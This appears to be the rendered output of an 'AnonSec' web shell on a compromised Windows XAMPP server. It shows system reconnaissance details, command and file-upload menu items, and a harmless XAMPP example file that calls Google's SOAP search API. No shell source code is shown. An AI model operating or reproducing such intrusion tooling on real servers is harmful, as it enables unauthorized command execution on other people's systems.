AnonSec Team
Server IP : 127.0.0.1  /  Your IP : 127.0.0.1
Web Server : Apache/2.4.10 (Win32) OpenSSL/1.0.1i PHP/5.6.3
System : Windows NT WIN-R7LTCC7BPLI 6.3 build 9200 (Windows Server 2012 R2 Datacenter Edition) i586
User : GerbangSIPAD ( 0)
PHP Version : 5.6.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF
Directory (0777) :  C:/xampp7/contrib/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : C:/xampp7/contrib/soap.php
<?php
	header("Content-Type: text/html; charset=utf-8;");
?>
<html>
<head>
<title>PHP und SOAP</title>
</head>
<body>
<?php

    $client = new SoapClient('http://api.google.com/GoogleSearch.wsdl');
    
    $apikey="apikey hier einsetzen";
    $searchfor="xampp";

    $result = $client->doGoogleSearch($apikey, $searchfor, 0, 10, false, '', true, '', '', '');
    
    echo "Gefundene Seiten: ".$result->estimatedTotalResultsCount;

    echo "<ol>";
    foreach ($result->resultElements as $hit) 
    {
        echo "<li><a href=\"".$hit->URL."\">".$hit->title."</a>";
        echo "<br>".$hit->snippet;
    }
    echo "</ol>";
?>
</body>
</html>

AnonSec - 2021